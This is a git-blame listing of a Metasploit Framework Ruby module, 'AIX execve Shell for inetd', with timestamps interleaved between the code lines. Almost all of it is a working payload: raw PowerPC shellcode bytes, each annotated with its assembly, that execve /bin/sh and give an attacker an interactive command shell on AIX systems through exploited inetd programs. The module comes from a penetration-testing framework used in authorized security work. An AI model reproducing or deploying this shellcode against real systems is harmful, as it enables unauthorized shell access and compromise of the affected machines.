2010-02-08 00:44:37 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2010-02-08 00:44:37 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core/handler/find_shell'
|
|
|
|
require 'msf/base/sessions/command_shell'
|
2010-02-24 01:19:59 +00:00
|
|
|
require 'msf/base/sessions/command_shell_options'
|
2010-02-08 00:44:37 +00:00
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
module MetasploitModule
|
2010-02-08 00:44:37 +00:00
|
|
|
|
2015-03-09 20:31:04 +00:00
|
|
|
CachedSize = 56
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Payload::Single
|
|
|
|
include Msf::Payload::Aix
|
|
|
|
include Msf::Sessions::CommandShellOptions
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(merge_info(info,
|
2013-11-15 06:03:42 +00:00
|
|
|
'Name' => 'AIX execve Shell for inetd',
|
2013-08-30 21:28:54 +00:00
|
|
|
'Description' => 'Simply execve /bin/sh (for inetd programs)',
|
|
|
|
'Author' => 'jduck',
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Platform' => 'aix',
|
|
|
|
'Arch' => ARCH_PPC,
|
|
|
|
'PayloadType' => 'cmd_interact',
|
|
|
|
'Handler' => Msf::Handler::FindShell,
|
|
|
|
'Session' => Msf::Sessions::CommandShell
|
|
|
|
))
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def generate(*args)
|
|
|
|
super(*args)
|
|
|
|
|
|
|
|
payload =
|
|
|
|
"\x7c\xa5\x2a\x79" +# /* xor. r5,r5,r5 */
|
|
|
|
"\x40\x82\xff\xfd" +# /* bnel <shellcode> */
|
|
|
|
"\x7f\xe8\x02\xa6" +# /* mflr r31 */
|
|
|
|
"\x3b\xff\x01\x20" +# /* cal r31,0x120(r31) */
|
|
|
|
"\x38\x7f\xff\x08" +# /* cal r3,-248(r31) */
|
|
|
|
"\x38\x9f\xff\x10" +# /* cal r4,-240(r31) */
|
|
|
|
"\x90\x7f\xff\x10" +# /* st r3,-240(r31) */
|
|
|
|
"\x90\xbf\xff\x14" +# /* st r5,-236(r31) */
|
|
|
|
"\x88\x5f\xff\x0f" +# /* lbz r2,-241(r31) */
|
|
|
|
"\x98\xbf\xff\x0f" +# /* stb r5,-241(r31) */
|
|
|
|
"\x4c\xc6\x33\x42" +# /* crorc cr6,cr6,cr6 */
|
|
|
|
"\x44\xff\xff\x02" +# /* svca */
|
|
|
|
"/bin/sh"+
|
|
|
|
"\x05"
|
|
|
|
|
|
|
|
end
|
2010-02-08 00:44:37 +00:00
|
|
|
end
|